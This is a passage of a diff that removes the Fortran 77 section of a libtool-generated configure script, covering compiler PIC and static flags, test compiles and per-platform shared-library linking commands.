-CC=${F77-"f77"}
-compiler=$CC
-compiler_F77=$CC
-for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if libtool supports shared libraries" >&5
-$as_echo_n "checking if libtool supports shared libraries... " >&6; }
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $can_build_shared" >&5
-$as_echo "$can_build_shared" >&6; }
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to build shared libraries" >&5
-$as_echo_n "checking whether to build shared libraries... " >&6; }
-test "$can_build_shared" = "no" && enable_shared=no
-
-# On AIX, shared libraries and static libraries use the same namespace, and
-# are all built from PIC.
-case $host_os in
-aix3*)
- test "$enable_shared" = yes && enable_static=no
- if test -n "$RANLIB"; then
- archive_cmds="$archive_cmds~\$RANLIB \$lib"
- postinstall_cmds='$RANLIB $lib'
- fi
- ;;
-aix4* | aix5*)
- if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then
- test "$enable_shared" = yes && enable_static=no
- fi
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $enable_shared" >&5
-$as_echo "$enable_shared" >&6; }
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to build static libraries" >&5
-$as_echo_n "checking whether to build static libraries... " >&6; }
-# Make sure either enable_shared or enable_static is yes.
-test "$enable_shared" = yes || enable_static=yes
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $enable_static" >&5
-$as_echo "$enable_static" >&6; }
-
-GCC_F77="$G77"
-LD_F77="$LD"
-
-lt_prog_compiler_wl_F77=
-lt_prog_compiler_pic_F77=
-lt_prog_compiler_static_F77=
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_static_F77='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_F77='-Bstatic'
- fi
- ;;
-
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- lt_prog_compiler_pic_F77='-m68020 -resident32 -malways-restore-a4'
- ;;
-
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic_F77='-DDLL_EXPORT'
- ;;
-
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- lt_prog_compiler_pic_F77='-fno-common'
- ;;
-
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
-
- msdosdjgpp*)
- # Just because we use GCC doesn't mean we suddenly get shared libraries
- # on systems that don't support them.
- lt_prog_compiler_can_build_shared_F77=no
- enable_shared=no
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- lt_prog_compiler_pic_F77=-Kconform_pic
- fi
- ;;
-
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic_F77='-fPIC'
- ;;
- esac
- ;;
-
- *)
- lt_prog_compiler_pic_F77='-fPIC'
- ;;
- esac
- else
- # PORTME Check for flag to pass linker flags through the system compiler.
- case $host_os in
- aix*)
- lt_prog_compiler_wl_F77='-Wl,'
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_F77='-Bstatic'
- else
- lt_prog_compiler_static_F77='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- lt_prog_compiler_pic_F77='-qnocommon'
- lt_prog_compiler_wl_F77='-Wl,'
- ;;
- esac
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic_F77='-DDLL_EXPORT'
- ;;
-
- hpux9* | hpux10* | hpux11*)
- lt_prog_compiler_wl_F77='-Wl,'
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic_F77='+Z'
- ;;
- esac
- # Is there a better lt_prog_compiler_static that works with the bundled CC?
- lt_prog_compiler_static_F77='${wl}-a ${wl}archive'
- ;;
-
- irix5* | irix6* | nonstopux*)
- lt_prog_compiler_wl_F77='-Wl,'
- # PIC (with -KPIC) is the default.
- lt_prog_compiler_static_F77='-non_shared'
- ;;
-
- newsos6)
- lt_prog_compiler_pic_F77='-KPIC'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
-
- linux*)
- case $cc_basename in
- icc* | ecc*)
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_pic_F77='-KPIC'
- lt_prog_compiler_static_F77='-static'
- ;;
- pgcc* | pgf77* | pgf90* | pgf95*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_pic_F77='-fpic'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
- ccc*)
- lt_prog_compiler_wl_F77='-Wl,'
- # All Alpha code is PIC.
- lt_prog_compiler_static_F77='-non_shared'
- ;;
- esac
- ;;
-
- osf3* | osf4* | osf5*)
- lt_prog_compiler_wl_F77='-Wl,'
- # All OSF/1 code is PIC.
- lt_prog_compiler_static_F77='-non_shared'
- ;;
-
- solaris*)
- lt_prog_compiler_pic_F77='-KPIC'
- lt_prog_compiler_static_F77='-Bstatic'
- case $cc_basename in
- f77* | f90* | f95*)
- lt_prog_compiler_wl_F77='-Qoption ld ';;
- *)
- lt_prog_compiler_wl_F77='-Wl,';;
- esac
- ;;
-
- sunos4*)
- lt_prog_compiler_wl_F77='-Qoption ld '
- lt_prog_compiler_pic_F77='-PIC'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
-
- sysv4 | sysv4.2uw2* | sysv4.3*)
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_pic_F77='-KPIC'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec ;then
- lt_prog_compiler_pic_F77='-Kconform_pic'
- lt_prog_compiler_static_F77='-Bstatic'
- fi
- ;;
-
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_pic_F77='-KPIC'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
-
- unicos*)
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_can_build_shared_F77=no
- ;;
-
- uts4*)
- lt_prog_compiler_pic_F77='-pic'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
-
- *)
- lt_prog_compiler_can_build_shared_F77=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_F77" >&5
-$as_echo "$lt_prog_compiler_pic_F77" >&6; }
-
-#
-# Check to make sure the PIC flag actually works.
-#
-if test -n "$lt_prog_compiler_pic_F77"; then
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler PIC flag $lt_prog_compiler_pic_F77 works" >&5
-$as_echo_n "checking if $compiler PIC flag $lt_prog_compiler_pic_F77 works... " >&6; }
-if ${lt_prog_compiler_pic_works_F77+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_pic_works_F77=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="$lt_prog_compiler_pic_F77"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_pic_works_F77=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_works_F77" >&5
-$as_echo "$lt_prog_compiler_pic_works_F77" >&6; }
-
-if test x"$lt_prog_compiler_pic_works_F77" = xyes; then
- case $lt_prog_compiler_pic_F77 in
- "" | " "*) ;;
- *) lt_prog_compiler_pic_F77=" $lt_prog_compiler_pic_F77" ;;
- esac
-else
- lt_prog_compiler_pic_F77=
- lt_prog_compiler_can_build_shared_F77=no
-fi
-
-fi
-case $host_os in
- # For platforms which do not support PIC, -DPIC is meaningless:
- *djgpp*)
- lt_prog_compiler_pic_F77=
- ;;
- *)
- lt_prog_compiler_pic_F77="$lt_prog_compiler_pic_F77"
- ;;
-esac
-
-#
-# Check to make sure the static flag actually works.
-#
-wl=$lt_prog_compiler_wl_F77 eval lt_tmp_static_flag=\"$lt_prog_compiler_static_F77\"
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler static flag $lt_tmp_static_flag works" >&5
-$as_echo_n "checking if $compiler static flag $lt_tmp_static_flag works... " >&6; }
-if ${lt_prog_compiler_static_works_F77+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_static_works_F77=no
- save_LDFLAGS="$LDFLAGS"
- LDFLAGS="$LDFLAGS $lt_tmp_static_flag"
- printf "$lt_simple_link_test_code" > conftest.$ac_ext
- if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
- # The linker can only warn and ignore the option if not recognized
- # So say no if there are warnings
- if test -s conftest.err; then
- # Append any errors to the config.log.
- cat conftest.err 1>&5
- $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_static_works_F77=yes
- fi
- else
- lt_prog_compiler_static_works_F77=yes
- fi
- fi
- $rm conftest*
- LDFLAGS="$save_LDFLAGS"
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_static_works_F77" >&5
-$as_echo "$lt_prog_compiler_static_works_F77" >&6; }
-
-if test x"$lt_prog_compiler_static_works_F77" = xyes; then
- :
-else
- lt_prog_compiler_static_F77=
-fi
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5
-$as_echo_n "checking if $compiler supports -c -o file.$ac_objext... " >&6; }
-if ${lt_cv_prog_compiler_c_o_F77+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_c_o_F77=no
- $rm -r conftest 2>/dev/null
- mkdir conftest
- cd conftest
- mkdir out
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- lt_compiler_flag="-o out/conftest2.$ac_objext"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>out/conftest.err)
- ac_status=$?
- cat out/conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s out/conftest2.$ac_objext
- then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
- $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
- if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_c_o_F77=yes
- fi
- fi
- chmod u+w . 2>&5
- $rm conftest*
- # SGI C++ compiler will create directory out/ii_files/ for
- # template instantiation
- test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files
- $rm out/* && rmdir out
- cd ..
- rmdir conftest
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o_F77" >&5
-$as_echo "$lt_cv_prog_compiler_c_o_F77" >&6; }
-
-
-hard_links="nottested"
-if test "$lt_cv_prog_compiler_c_o_F77" = no && test "$need_locks" != no; then
- # do not overwrite the value of need_locks provided by the user
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking if we can lock with hard links" >&5
-$as_echo_n "checking if we can lock with hard links... " >&6; }
- hard_links=yes
- $rm conftest*
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- touch conftest.a
- ln conftest.a conftest.b 2>&5 || hard_links=no
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $hard_links" >&5
-$as_echo "$hard_links" >&6; }
- if test "$hard_links" = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5
-$as_echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;}
- need_locks=warn
- fi
-else
- need_locks=no
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5
-$as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
-
- runpath_var=
- allow_undefined_flag_F77=
- enable_shared_with_static_runtimes_F77=no
- archive_cmds_F77=
- archive_expsym_cmds_F77=
- old_archive_From_new_cmds_F77=
- old_archive_from_expsyms_cmds_F77=
- export_dynamic_flag_spec_F77=
- whole_archive_flag_spec_F77=
- thread_safe_flag_spec_F77=
- hardcode_libdir_flag_spec_F77=
- hardcode_libdir_flag_spec_ld_F77=
- hardcode_libdir_separator_F77=
- hardcode_direct_F77=no
- hardcode_minus_L_F77=no
- hardcode_shlibpath_var_F77=unsupported
- link_all_deplibs_F77=unknown
- hardcode_automatic_F77=no
- module_cmds_F77=
- module_expsym_cmds_F77=
- always_export_symbols_F77=no
- export_symbols_cmds_F77='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- # include_expsyms should be a list of space-separated symbols to be *always*
- # included in the symbol list
- include_expsyms_F77=
- # exclude_expsyms can be an extended regexp of symbols to exclude
- # it will be wrapped by ` (' and `)$', so one must not match beginning or
- # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc',
- # as well as any symbol that contains `d'.
- exclude_expsyms_F77="_GLOBAL_OFFSET_TABLE_"
- # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out
- # platforms (ab)use it in PIC code, but their linkers get confused if
- # the symbol is explicitly referenced. Since portable code cannot
- # rely on this symbol name, it's probably fine to never include it in
- # preloaded symbol tables.
- extract_expsyms_cmds=
- # Just being paranoid about ensuring that cc_basename is set.
- for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
- case $host_os in
- cygwin* | mingw* | pw32*)
- # FIXME: the MSVC++ port hasn't been tested in a loooong time
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- if test "$GCC" != yes; then
- with_gnu_ld=no
- fi
- ;;
- interix*)
- # we just hope/assume this is gcc and not c89 (= MSVC++)
- with_gnu_ld=yes
- ;;
- openbsd*)
- with_gnu_ld=no
- ;;
- esac
-
- ld_shlibs_F77=yes
- if test "$with_gnu_ld" = yes; then
- # If archive_cmds runs LD, not CC, wlarc should be empty
- wlarc='${wl}'
-
- # Set some defaults for GNU ld with shared library support. These
- # are reset later if shared libraries are not supported. Putting them
- # here allows them to be overridden if necessary.
- runpath_var=LD_RUN_PATH
- hardcode_libdir_flag_spec_F77='${wl}--rpath ${wl}$libdir'
- export_dynamic_flag_spec_F77='${wl}--export-dynamic'
- # ancient GNU ld didn't support --whole-archive et. al.
- if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then
- whole_archive_flag_spec_F77="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- else
- whole_archive_flag_spec_F77=
- fi
- supports_anon_versioning=no
- case `$LD -v 2>/dev/null` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11
- *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ...
- *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ...
- *\ 2.11.*) ;; # other 2.11 versions
- *) supports_anon_versioning=yes ;;
- esac
-
- # See if GNU ld supports shared libraries.
- case $host_os in
- aix3* | aix4* | aix5*)
- # On AIX/PPC, the GNU linker is very broken
- if test "$host_cpu" != ia64; then
- ld_shlibs_F77=no
- cat <<EOF 1>&2
-
-*** Warning: the GNU linker, at least up to release 2.9.1, is reported
-*** to be unable to reliably create shared libraries on AIX.
-*** Therefore, libtool is disabling shared libraries support. If you
-*** really care for shared libraries, you may want to modify your PATH
-*** so that a non-GNU linker is found, and then restart.
-
-EOF
- fi
- ;;
-
- amigaos*)
- archive_cmds_F77='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_minus_L_F77=yes
-
- # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports
- # that the semantics of dynamic libraries on AmigaOS, at least up
- # to version 4, is to share data among multiple programs linked
- # with the same dynamic library. Since this doesn't match the
- # behavior of shared libraries on other platforms, we can't use
- # them.
- ld_shlibs_F77=no
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- allow_undefined_flag_F77=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
- # support --undefined. This deserves some investigation. FIXME
- archive_cmds_F77='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- ld_shlibs_F77=no
- fi
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, F77) is actually meaningless,
- # as there is no search path for DLLs.
- hardcode_libdir_flag_spec_F77='-L$libdir'
- allow_undefined_flag_F77=unsupported
- always_export_symbols_F77=no
- enable_shared_with_static_runtimes_F77=yes
- export_symbols_cmds_F77='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols'
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- archive_expsym_cmds_F77='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- ld_shlibs_F77=no
- fi
- ;;
-
- interix3*)
- hardcode_direct_F77=no
- hardcode_shlibpath_var_F77=no
- hardcode_libdir_flag_spec_F77='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_F77='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
- archive_cmds_F77='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- archive_expsym_cmds_F77='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
-
- linux*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- tmp_addflag=
- case $cc_basename,$host_cpu in
- pgcc*) # Portland Group C compiler
- whole_archive_flag_spec_F77='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag'
- ;;
- pgf77* | pgf90* | pgf95*) # Portland Group f77 and f90 compilers
- whole_archive_flag_spec_F77='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag -Mnomain' ;;
- ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64
- tmp_addflag=' -i_dynamic' ;;
- efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64
- tmp_addflag=' -i_dynamic -nofor_main' ;;
- ifc* | ifort*) # Intel Fortran compiler
- tmp_addflag=' -nofor_main' ;;
- esac
- archive_cmds_F77='$CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-
- if test $supports_anon_versioning = yes; then
- archive_expsym_cmds_F77='$echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- $echo "local: *; };" >> $output_objdir/$libname.ver~
- $CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib'
- fi
- else
- ld_shlibs_F77=no
- fi
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds_F77='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
- solaris*)
- if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then
- ld_shlibs_F77=no
- cat <<EOF 1>&2
-
-*** Warning: The releases 2.8.* of the GNU linker cannot reliably
-*** create shared libraries on Solaris systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.9.1 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-EOF
- elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs_F77=no
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*)
- case `$LD -v 2>&1` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.1[0-5].*)
- ld_shlibs_F77=no
- cat <<_LT_EOF 1>&2
-
-*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not
-*** reliably create shared libraries on SCO systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.16.91.0.3 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-_LT_EOF
- ;;
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- hardcode_libdir_flag_spec_F77='`test -z "$SCOABSPATH" && echo ${wl}-rpath,$libdir`'
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib'
- archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname,-retain-symbols-file,$export_symbols -o $lib'
- else
- ld_shlibs_F77=no
- fi
- ;;
- esac
- ;;
-
- sunos4*)
- archive_cmds_F77='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- wlarc=
- hardcode_direct_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs_F77=no
- fi
- ;;
- esac
-
- if test "$ld_shlibs_F77" = no; then
- runpath_var=
- hardcode_libdir_flag_spec_F77=
- export_dynamic_flag_spec_F77=
- whole_archive_flag_spec_F77=
- fi
- else
- # PORTME fill in a description of your system's linker (not GNU ld)
- case $host_os in
- aix3*)
- allow_undefined_flag_F77=unsupported
- always_export_symbols_F77=yes
- archive_expsym_cmds_F77='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname'
- # Note: this linker hardcodes the directories in LIBPATH if there
- # are no directories specified by -L.
- hardcode_minus_L_F77=yes
- if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then
- # Neither direct hardcoding nor static linking is supported with a
- # broken collect2.
- hardcode_direct_F77=unsupported
- fi
- ;;
-
- aix4* | aix5*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- exp_sym_flag='-Bexport'
- no_entry_flag=""
- else
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- export_symbols_cmds_F77='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- else
- export_symbols_cmds_F77='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- fi
- aix_use_runtimelinking=no
-
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[23]|aix4.[23].*|aix5*)
- for ld_flag in $LDFLAGS; do
- if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then
- aix_use_runtimelinking=yes
- break
- fi
- done
- ;;
- esac
-
- exp_sym_flag='-bexport'
- no_entry_flag='-bnoentry'
